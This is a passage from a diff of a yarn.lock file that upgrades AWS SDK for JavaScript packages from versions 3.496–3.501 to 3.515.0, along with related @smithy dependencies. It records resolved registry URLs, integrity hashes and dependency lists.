sha512-Uwc/xuxsA46dZS5s+4U703LBNDrGpWF7RB4XYEEMD21BLfGuqntxLLQux8xxKt3Pcur0CsXNja5jXt3uLnE5MA== +"@aws-sdk/client-sso@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.515.0.tgz#858d3ebd187e54e70ebd7ac948fb889f70a7deee" + integrity sha512-4oGBLW476zmkdN98lAns3bObRNO+DLOfg4MDUSR6l6GYBV/zGAtoy2O/FhwYKgA2L5h2ZtElGopLlk/1Q0ePLw== dependencies: "@aws-crypto/sha256-browser" "3.0.0" "@aws-crypto/sha256-js" "3.0.0" - "@aws-sdk/core" "3.496.0" - "@aws-sdk/credential-provider-node" "3.501.0" - "@aws-sdk/middleware-host-header" "3.496.0" - "@aws-sdk/middleware-logger" "3.496.0" - "@aws-sdk/middleware-recursion-detection" "3.496.0" - "@aws-sdk/middleware-user-agent" "3.496.0" - "@aws-sdk/region-config-resolver" "3.496.0" - "@aws-sdk/types" "3.496.0" - "@aws-sdk/util-endpoints" "3.496.0" - "@aws-sdk/util-user-agent-browser" "3.496.0" - "@aws-sdk/util-user-agent-node" "3.496.0" + "@aws-sdk/core" "3.513.0" + "@aws-sdk/middleware-host-header" "3.515.0" + "@aws-sdk/middleware-logger" "3.515.0" + "@aws-sdk/middleware-recursion-detection" "3.515.0" + "@aws-sdk/middleware-user-agent" "3.515.0" + "@aws-sdk/region-config-resolver" "3.515.0" + "@aws-sdk/types" "3.515.0" + "@aws-sdk/util-endpoints" "3.515.0" + "@aws-sdk/util-user-agent-browser" "3.515.0" + "@aws-sdk/util-user-agent-node" "3.515.0" "@smithy/config-resolver" "^2.1.1" - "@smithy/core" "^1.3.1" + "@smithy/core" "^1.3.2" "@smithy/fetch-http-handler" "^2.4.1" "@smithy/hash-node" "^2.1.1" "@smithy/invalid-dependency" "^2.1.1" @@ -192,7 +193,51 @@ "@smithy/util-body-length-browser" "^2.1.1" "@smithy/util-body-length-node" "^2.2.1" "@smithy/util-defaults-mode-browser" "^2.1.1" - "@smithy/util-defaults-mode-node" "^2.1.1" + "@smithy/util-defaults-mode-node" "^2.2.0" + "@smithy/util-endpoints" "^1.1.1" + "@smithy/util-middleware" "^2.1.1" + "@smithy/util-retry" "^2.1.1" + "@smithy/util-utf8" "^2.1.1" + tslib "^2.5.0" + +"@aws-sdk/client-sts@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/client-sts/-/client-sts-3.515.0.tgz#a645696bbc160e46c4c9e60aa66b79fd212d1230" + integrity sha512-ScYuvaIDgip3atOJIA1FU2n0gJkEdveu1KrrCPathoUCV5zpK8qQmO/n+Fj/7hKFxeKdFbB+4W4CsJWYH94nlg== + dependencies: + "@aws-crypto/sha256-browser" "3.0.0" + "@aws-crypto/sha256-js" "3.0.0" + "@aws-sdk/core" "3.513.0" + "@aws-sdk/middleware-host-header" "3.515.0" + "@aws-sdk/middleware-logger" "3.515.0" + "@aws-sdk/middleware-recursion-detection" "3.515.0" + "@aws-sdk/middleware-user-agent" "3.515.0" + "@aws-sdk/region-config-resolver" "3.515.0" + "@aws-sdk/types" "3.515.0" + "@aws-sdk/util-endpoints" "3.515.0" + "@aws-sdk/util-user-agent-browser" "3.515.0" + "@aws-sdk/util-user-agent-node" "3.515.0" + "@smithy/config-resolver" "^2.1.1" + "@smithy/core" "^1.3.2" + "@smithy/fetch-http-handler" "^2.4.1" + "@smithy/hash-node" "^2.1.1" + "@smithy/invalid-dependency" "^2.1.1" + "@smithy/middleware-content-length" "^2.1.1" + "@smithy/middleware-endpoint" "^2.4.1" + "@smithy/middleware-retry" "^2.1.1" + "@smithy/middleware-serde" "^2.1.1" + "@smithy/middleware-stack" "^2.1.1" + "@smithy/node-config-provider" "^2.2.1" + "@smithy/node-http-handler" "^2.3.1" + "@smithy/protocol-http" "^3.1.1" + "@smithy/smithy-client" "^2.3.1" + "@smithy/types" "^2.9.1" + "@smithy/url-parser" "^2.1.1" + "@smithy/util-base64" "^2.1.1" + "@smithy/util-body-length-browser" "^2.1.1" + "@smithy/util-body-length-node" "^2.2.1" + "@smithy/util-defaults-mode-browser" "^2.1.1" + "@smithy/util-defaults-mode-node" "^2.2.0" "@smithy/util-endpoints" "^1.1.1" "@smithy/util-middleware" "^2.1.1" "@smithy/util-retry" "^2.1.1" @@ -200,45 +245,45 @@ fast-xml-parser "4.2.5" tslib "^2.5.0" -"@aws-sdk/core@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.496.0.tgz#ec1394753b6b2f6e38aea593e30b2db5c7390969" - integrity sha512-yT+ug7Cw/3eJi7x2es0+46x12+cIJm5Xv+GPWsrTFD1TKgqO/VPEgfDtHFagDNbFmjNQA65Ygc/kEdIX9ICX/A== +"@aws-sdk/core@3.513.0": + version "3.513.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.513.0.tgz#9fce86d472f7b38724cb1156d06a854124a51aaa" + integrity sha512-L+9DL4apWuqNKVOMJ8siAuWoRM9rZf9w1iPv8S2o83WO2jVK7E/m+rNW1dFo9HsA5V1ccDl2H2qLXx24HiHmOw== dependencies: - "@smithy/core" "^1.3.1" + "@smithy/core" "^1.3.2" "@smithy/protocol-http" "^3.1.1" "@smithy/signature-v4" "^2.1.1" "@smithy/smithy-client" "^2.3.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-cognito-identity@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.501.0.tgz#9df440eea01125130226fdd1619f5b728f4db9c0" - integrity sha512-U9fjzliKzMiPx/EWLNLCEoF5wWhVtlluTEc4/WhNtSryV2PyihqIAK8nK4+MFaXB4xOrlRnpYMd7oqm03wMGyw== +"@aws-sdk/credential-provider-cognito-identity@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.515.0.tgz#5a0457a035abe1d7bb46eddd33c711473932f760" + integrity sha512-pWMJFhNc6bLbCpKhYXWWa23wMyhpFFyw3kF/6ea+95JQHF0FY2l4wDQa7ynE4hW4Wf5oA3Sf7Wf87pp9iAHubQ== dependencies: - "@aws-sdk/client-cognito-identity" "3.501.0" - "@aws-sdk/types" "3.496.0" + "@aws-sdk/client-cognito-identity" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/property-provider" "^2.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-env@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.496.0.tgz#5055bd2e3a169e5c10b37c40e0f356046947e707" - integrity sha512-lukQMJ8SWWP5RqkRNOHi/H+WMhRvSWa3Fc5Jf/VP6xHiPLfF1XafcvthtV91e0VwPCiseI+HqChrcGq8pvnxHw== +"@aws-sdk/credential-provider-env@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.515.0.tgz#8a96e51bb50a70596ec8d6fc38a78c2aca3b5b6f" + integrity sha512-45vxdyqhTAaUMERYVWOziG3K8L2TV9G4ryQS/KZ84o7NAybE9GMdoZRVmGHAO7mJJ1wQiYCM/E+i5b3NW9JfNA== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/property-provider" "^2.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-http@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.496.0.tgz#7ff281bc0c80a041c69f0062e82b6def2e2a7de5" - integrity sha512-iphFlFX0qDFsE24XmFlcKmsR4uyNaqQrK+Y18mwSZMs1yWtL4Sck0rcTXU/cU2W3/xisjh7xFXK5L5aowjMZOg== +"@aws-sdk/credential-provider-http@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.515.0.tgz#780b31ebb0d2c3fb1da31d163a2f39edb7d7d7c5" + integrity sha512-Ba6FXK77vU4WyheiamNjEuTFmir0eAXuJGPO27lBaA8g+V/seXGHScsbOG14aQGDOr2P02OPwKGZrWWA7BFpfQ== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/fetch-http-handler" "^2.4.1" "@smithy/node-http-handler" "^2.3.1" "@smithy/property-provider" "^2.1.1" @@ -248,217 +293,176 @@ "@smithy/util-stream" "^2.1.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-ini@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.501.0.tgz#66f56d56858267460614260b6bfd70cd18ba868b" - integrity sha512-6UXnwLtYIr298ljveumCVXsH+x7csGscK5ylY+veRFy514NqyloRdJt8JY26hhh5SF9MYnkW+JyWSJ2Ls3tOjQ== - dependencies: - "@aws-sdk/credential-provider-env" "3.496.0" - "@aws-sdk/credential-provider-process" "3.496.0" - "@aws-sdk/credential-provider-sso" "3.501.0" - "@aws-sdk/credential-provider-web-identity" "3.496.0" - "@aws-sdk/types" "3.496.0" +"@aws-sdk/credential-provider-ini@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.515.0.tgz#f669afd30aeac6088db0d7d485730c633836872b" + integrity sha512-ouDlNZdv2TKeVEA/YZk2+XklTXyAAGdbWnl4IgN9ItaodWI+lZjdIoNC8BAooVH+atIV/cZgoGTGQL7j2TxJ9A== + dependencies: + "@aws-sdk/client-sts" "3.515.0" + "@aws-sdk/credential-provider-env" "3.515.0" + "@aws-sdk/credential-provider-process" "3.515.0" + "@aws-sdk/credential-provider-sso" "3.515.0" + "@aws-sdk/credential-provider-web-identity" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/credential-provider-imds" "^2.2.1" "@smithy/property-provider" "^2.1.1" "@smithy/shared-ini-file-loader" "^2.3.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-node@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.501.0.tgz#6cb96dc5c1bfaf8dcb580063beeed9ef9db33961" - integrity sha512-NM62D8gYrQ1nyLYwW4k48B2/lMHDzHDcQccS1wJakr6bg5sdtG06CumwlVcY+LAa0o1xRnhHmh/yiwj/nN4avw== - dependencies: - "@aws-sdk/credential-provider-env" "3.496.0" - "@aws-sdk/credential-provider-ini" "3.501.0" - "@aws-sdk/credential-provider-process" "3.496.0" - "@aws-sdk/credential-provider-sso" "3.501.0" - "@aws-sdk/credential-provider-web-identity" "3.496.0" - "@aws-sdk/types" "3.496.0" +"@aws-sdk/credential-provider-node@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.515.0.tgz#57e2105208fb8b2edc857f48533cb0a1e28a9412" + integrity sha512-Y4kHSpbxksiCZZNcvsiKUd8Fb2XlyUuONEwqWFNL82ZH6TCCjBGS31wJQCSxBHqYcOL3tiORUEJkoO7uS30uQA== + dependencies: + "@aws-sdk/credential-provider-env" "3.515.0" + "@aws-sdk/credential-provider-http" "3.515.0" + "@aws-sdk/credential-provider-ini" "3.515.0" + "@aws-sdk/credential-provider-process" "3.515.0" + "@aws-sdk/credential-provider-sso" "3.515.0" + "@aws-sdk/credential-provider-web-identity" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/credential-provider-imds" "^2.2.1" "@smithy/property-provider" "^2.1.1" "@smithy/shared-ini-file-loader" "^2.3.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-process@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.496.0.tgz#1d623bed61229767f389feab560e3a3117bf2d26" - integrity sha512-/YZscCTGOKVmGr916Th4XF8Sz6JDtZ/n2loHG9exok9iy/qIbACsTRNLP9zexPxhPoue/oZqecY5xbVljfY34A== +"@aws-sdk/credential-provider-process@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.515.0.tgz#71e1e624669ef5918b477b48ec8aff1bd686e787" + integrity sha512-pSjiOA2FM63LHRKNDvEpBRp80FVGT0Mw/gzgbqFXP+sewk0WVonYbEcMDTJptH3VsLPGzqH/DQ1YL/aEIBuXFQ== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/property-provider" "^2.1.1" "@smithy/shared-ini-file-loader" "^2.3.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-sso@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.501.0.tgz#a96b859b59d3825f54158de8c692d69bd6edf5e6" - integrity sha512-y90dlvvZ55PwecODFdMx0NiNlJJfm7X6S61PKdLNCMRcu1YK+eWn0CmPHGHobBUQ4SEYhnFLcHSsf+VMim6BtQ== +"@aws-sdk/credential-provider-sso@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.515.0.tgz#b8efce2c885adf529c4f70db76bcc188afef299b" + integrity sha512-j7vUkiSmuhpBvZYoPTRTI4ePnQbiZMFl6TNhg9b9DprC1zHkucsZnhRhqjOVlrw/H6J4jmcPGcHHTZ5WQNI5xQ== dependencies: - "@aws-sdk/client-sso" "3.496.0" - "@aws-sdk/token-providers" "3.501.0" - "@aws-sdk/types" "3.496.0" + "@aws-sdk/client-sso" "3.515.0" + "@aws-sdk/token-providers" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/property-provider" "^2.1.1" "@smithy/shared-ini-file-loader" "^2.3.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/credential-provider-web-identity@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.496.0.tgz#7ad6d755445d1616a80dfa286a78c84dc1c3f14b" - integrity sha512-IbP+qLlvJSpNPj+zW6TtFuLRTK5Tf0hW+2pom4vFyi5YSH4pn8UOC136UdewX8vhXGS9BJQ5zBDMasIyl5VeGQ== +"@aws-sdk/credential-provider-web-identity@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.515.0.tgz#848f113ca92dd7a6ebbb436872688a78a28d309b" + integrity sha512-66+2g4z3fWwdoGReY8aUHvm6JrKZMTRxjuizljVmMyOBttKPeBYXvUTop/g3ZGUx1f8j+C5qsGK52viYBvtjuQ== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/client-sts" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/property-provider" "^2.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" "@aws-sdk/credential-providers@^3.186.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.501.0.tgz#15321a2028e9ee36d5333da222386abb81e24553" - integrity sha512-nyfGzzYKcAny2kUyQjVDhSzfFTwkfZjGyJZ79WaLkNcCsVSsHBbptPRmRV2b4N0EoHTCfGqkbB02as4av/OQrw== - dependencies: - "@aws-sdk/client-cognito-identity" "3.501.0" - "@aws-sdk/client-sso" "3.496.0" - "@aws-sdk/client-sts" "3.501.0" - "@aws-sdk/credential-provider-cognito-identity" "3.501.0" - "@aws-sdk/credential-provider-env" "3.496.0" - "@aws-sdk/credential-provider-http" "3.496.0" - "@aws-sdk/credential-provider-ini" "3.501.0" - "@aws-sdk/credential-provider-node" "3.501.0" - "@aws-sdk/credential-provider-process" "3.496.0" - "@aws-sdk/credential-provider-sso" "3.501.0" - "@aws-sdk/credential-provider-web-identity" "3.496.0" - "@aws-sdk/types" "3.496.0" + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.515.0.tgz#77c8fab8f7b4c9356e4c0335de1f242af9b3f579" + integrity sha512-XQ9maVLTtv6iJbOYiRS+IvaPlFkJDuxfpfxuky3aPzQpxDilU4cf1CfIDua8qivZKQ4QQOd1EaBMXPIpLI1ZTQ== + dependencies: + "@aws-sdk/client-cognito-identity" "3.515.0" + "@aws-sdk/client-sso" "3.515.0" + "@aws-sdk/client-sts" "3.515.0" + "@aws-sdk/credential-provider-cognito-identity" "3.515.0" + "@aws-sdk/credential-provider-env" "3.515.0" + "@aws-sdk/credential-provider-http" "3.515.0" + "@aws-sdk/credential-provider-ini" "3.515.0" + "@aws-sdk/credential-provider-node" "3.515.0" + "@aws-sdk/credential-provider-process" "3.515.0" + "@aws-sdk/credential-provider-sso" "3.515.0" + "@aws-sdk/credential-provider-web-identity" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/credential-provider-imds" "^2.2.1" "@smithy/property-provider" "^2.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/middleware-host-header@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.496.0.tgz#e17de11d553548872566c72669c5ea2e7164722b" - integrity sha512-jUdPpSJeqCYXf6hSjfwsfHway7peIV8Vz51w/BN91bF4vB/bYwAC5o9/iJiK/EoByp5asxA8fg9wFOyGjzdbLg== +"@aws-sdk/middleware-host-header@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.515.0.tgz#835a1865d4e35ad8fd2f7e579b191d58f52e450c" + integrity sha512-I1MwWPzdRKM1luvdDdjdGsDjNVPhj9zaIytEchjTY40NcKOg+p2evLD2y69ozzg8pyXK63r8DdvDGOo9QPuh0A== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/protocol-http" "^3.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/middleware-logger@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.496.0.tgz#96f867ae50144eb6bae91a427e315a0f0eb783b0" - integrity sha512-EwMVSY6iBMeGbVnvwdaFl/ClMS/YWtxCAo+bcEtgk8ltRuo7qgbJem8Km/fvWC1vdWvIbe4ArdJ8iGzq62ffAw== +"@aws-sdk/middleware-logger@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.515.0.tgz#430fc40d6897fdc25ad82075865d00d5d707b6ad" + integrity sha512-qXomJzg2m/5seQOxHi/yOXOKfSjwrrJSmEmfwJKJyQgdMbBcjz3Cz0H/1LyC6c5hHm6a/SZgSTzDAbAoUmyL+Q== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/middleware-recursion-detection@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.496.0.tgz#c14e1bbe609e4af3ec9037c2379e2b64d660e4dd" - integrity sha512-+IuOcFsfqg2WAnaEzH6KhVbicqCxtOq9w3DH2jwTpddRlCx2Kqf6wCzg8luhHRGyjBZdsbIS+OXwyMevoppawA== +"@aws-sdk/middleware-recursion-detection@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.515.0.tgz#7f44705d6d93adbcc743a5adf3bfa2c09670637c" + integrity sha512-dokHLbTV3IHRIBrw9mGoxcNTnQsjlm7TpkJhPdGT9T4Mq399EyQo51u6IsVMm07RXLl2Zw7u+u9p+qWBFzmFRA== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/protocol-http" "^3.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/middleware-signing@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-signing/-/middleware-signing-3.496.0.tgz#265cb5a9d7825c111c53bb555e5cb2619f804dd1" - integrity sha512-Oq73Brs4IConvWnRlh8jM1V7LHoTw9SVQklu/QW2FPlNrB3B8fuTdWHHYIWv7ybw1bykXoCY99v865Mmq/Or/g== - dependencies: - "@aws-sdk/types" "3.496.0" - "@smithy/property-provider" "^2.1.1" - "@smithy/protocol-http" "^3.1.1" - "@smithy/signature-v4" "^2.1.1" - "@smithy/types" "^2.9.1" - "@smithy/util-middleware" "^2.1.1" - tslib "^2.5.0" - -"@aws-sdk/middleware-user-agent@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.496.0.tgz#82b49fd8613ae5a9ceafc9117c34271615d0f002" - integrity sha512-+iMtRxFk0GmFWNUF4ilxylOQd9PZdR4ZC9jkcPIh1PZlvKtpCyFywKlk5RRZKklSoJ/CttcqwhMvOXTNbWm/0w== +"@aws-sdk/middleware-user-agent@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.515.0.tgz#93daacea920fad11481559e5a399cf786e5e6c0c" + integrity sha512-nOqZjGA/GkjuJ5fUshec9Fv6HFd7ovOTxMJbw3MfAhqXuVZ6dKF41lpVJ4imNsgyFt3shUg9WDY8zGFjlYMB3g== dependencies: - "@aws-sdk/types" "3.496.0" - "@aws-sdk/util-endpoints" "3.496.0" + "@aws-sdk/types" "3.515.0" + "@aws-sdk/util-endpoints" "3.515.0" "@smithy/protocol-http" "^3.1.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/region-config-resolver@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.496.0.tgz#133c8a4a6d5e7672077ba124751f40b2d6efc3ed" - integrity sha512-URrNVOPHPgEDm6QFu6lDC2cUFs+Jx23mA3jEwCvoKlXiEY/ZoWjH8wlX3OMUlLrF1qoUTuD03jjrJzF6zoCgug== +"@aws-sdk/region-config-resolver@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.515.0.tgz#c0973acc32256c3688265512cf6d0469baa3af21" + integrity sha512-RIRx9loxMgEAc/r1wPfnfShOuzn4RBi8pPPv6/jhhITEeMnJe6enAh2k5y9DdiVDDgCWZgVFSv0YkAIfzAFsnQ== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/node-config-provider" "^2.2.1" "@smithy/types" "^2.9.1" "@smithy/util-config-provider" "^2.2.1" "@smithy/util-middleware" "^2.1.1" tslib "^2.5.0" -"@aws-sdk/token-providers@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.501.0.tgz#33fc8130ffecfa99b88a54ebaa74ff3225f79875" - integrity sha512-MvLPhNxlStmQqVm2crGLUqYWvK/AbMmI9j4FbEfJ15oG/I+730zjSJQEy2MvdiqbJRDPZ/tRCL89bUedOrmi0g== +"@aws-sdk/token-providers@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.515.0.tgz#c4e549a28d287b2861a2d331eae2be98c4236bd1" + integrity sha512-MQuf04rIcTXqwDzmyHSpFPF1fKEzRl64oXtCRUF3ddxTdK6wxXkePfK6wNCuL+GEbEcJAoCtIGIRpzGPJvQjHA== dependencies: - "@aws-crypto/sha256-browser" "3.0.0" - "@aws-crypto/sha256-js" "3.0.0" - "@aws-sdk/middleware-host-header" "3.496.0" - "@aws-sdk/middleware-logger" "3.496.0" - "@aws-sdk/middleware-recursion-detection" "3.496.0" - "@aws-sdk/middleware-user-agent" "3.496.0" - "@aws-sdk/region-config-resolver" "3.496.0" - "@aws-sdk/types" "3.496.0" - "@aws-sdk/util-endpoints" "3.496.0" - "@aws-sdk/util-user-agent-browser" "3.496.0" - "@aws-sdk/util-user-agent-node" "3.496.0" - "@smithy/config-resolver" "^2.1.1" - "@smithy/fetch-http-handler" "^2.4.1" - "@smithy/hash-node" "^2.1.1" - "@smithy/invalid-dependency" "^2.1.1" - "@smithy/middleware-content-length" "^2.1.1" - "@smithy/middleware-endpoint" "^2.4.1" - "@smithy/middleware-retry" "^2.1.1" - "@smithy/middleware-serde" "^2.1.1" - "@smithy/middleware-stack" "^2.1.1" - "@smithy/node-config-provider" "^2.2.1" - "@smithy/node-http-handler" "^2.3.1" + "@aws-sdk/client-sso-oidc" "3.515.0" + "@aws-sdk/types" "3.515.0" "@smithy/property-provider" "^2.1.1" - "@smithy/protocol-http" "^3.1.1" "@smithy/shared-ini-file-loader" "^2.3.1" - "@smithy/smithy-client" "^2.3.1" "@smithy/types" "^2.9.1" - "@smithy/url-parser" "^2.1.1" - "@smithy/util-base64" "^2.1.1" - "@smithy/util-body-length-browser" "^2.1.1" - "@smithy/util-body-length-node" "^2.2.1" - "@smithy/util-defaults-mode-browser" "^2.1.1" - "@smithy/util-defaults-mode-node" "^2.1.1" - "@smithy/util-endpoints" "^1.1.1" - "@smithy/util-retry" "^2.1.1" - "@smithy/util-utf8" "^2.1.1" tslib "^2.5.0" -"@aws-sdk/types@3.496.0", "@aws-sdk/types@^3.222.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.496.0.tgz#cdde44a94a57cf8f97cf05e4d0bdce2f56ce4eeb" - integrity sha512-umkGadK4QuNQaMoDICMm7NKRI/mYSXiyPjcn3d53BhsuArYU/52CebGQKdt4At7SwwsiVJZw9RNBHyN5Mm0HVw== +"@aws-sdk/types@3.515.0", "@aws-sdk/types@^3.222.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.515.0.tgz#ee97c887293211f1891bc1d8f0aaf354072b6002" + integrity sha512-B3gUpiMlpT6ERaLvZZ61D0RyrQPsFYDkCncLPVkZOKkCOoFU46zi1o6T5JcYiz8vkx1q9RGloQ5exh79s5pU/w== dependencies: "@smithy/types" "^2.9.1" tslib "^2.5.0" -"@aws-sdk/util-endpoints@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.496.0.tgz#5ce7d3efd7ab67db556e2c199e73826c44d22ecd" - integrity sha512-1QzOiWHi383ZwqSi/R2KgKCd7M+6DxkxI5acqLPm8mvDRDP2jRjrnVaC0g9/tlttWousGEemDUWStwrD2mVYSw== +"@aws-sdk/util-endpoints@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.515.0.tgz#6d8bcc62617261a4c1de5d7507060ab361694923" + integrity sha512-UJi+jdwcGFV/F7d3+e2aQn5yZOVpDiAgfgNhPnEtgV0WozJ5/ZUeZBgWvSc/K415N4A4D/9cbBc7+I+35qzcDQ== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/types" "^2.9.1" "@smithy/util-endpoints" "^1.1.1" tslib "^2.5.0" @@ -470,22 +474,22 @@ dependencies: tslib "^2.5.0" -"@aws-sdk/util-user-agent-browser@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.496.0.tgz#494b086dd8b07acdd6be65034c51545e5bcee37b" - integrity sha512-4j2spN+h0I0qfSMsGvJXTfQBu1e18rPdekKvzsGJxhaAE1tNgUfUT4nbvc5uVn0sNjZmirskmJ3kfbzVOrqIFg== +"@aws-sdk/util-user-agent-browser@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.515.0.tgz#f3c7027cfbfaf1786ae32176dd5ac8b0753ad0a1" + integrity sha512-pTWQb0JCafTmLHLDv3Qqs/nAAJghcPdGQIBpsCStb0YEzg3At/dOi2AIQ683yYnXmeOxLXJDzmlsovfVObJScw== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/types" "^2.9.1" bowser "^2.11.0" tslib "^2.5.0" -"@aws-sdk/util-user-agent-node@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.496.0.tgz#db14e02cf82af556c826570efc7db1e57de3262d" - integrity sha512-h0Ax0jlDc7UIo3KoSI4C4tVLBFoiAdx3+DhTVfgLS7x93d41dMlziPoBX2RgdcFn37qnzw6AQKTVTMwDbRCGpg== +"@aws-sdk/util-user-agent-node@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.515.0.tgz#a76182778964e9e9098f5607b379c0efb12ffaa4" + integrity sha512-A/KJ+/HTohHyVXLH+t/bO0Z2mPrQgELbQO8tX+B2nElo8uklj70r5cT7F8ETsI9oOy+HDVpiL5/v45ZgpUOiPg== dependencies: - "@aws-sdk/types" "3.496.0" + "@aws-sdk/types" "3.515.0" "@smithy/node-config-provider" "^2.2.1" "@smithy/types" "^2.9.1" tslib "^2.5.0" @@ -861,9 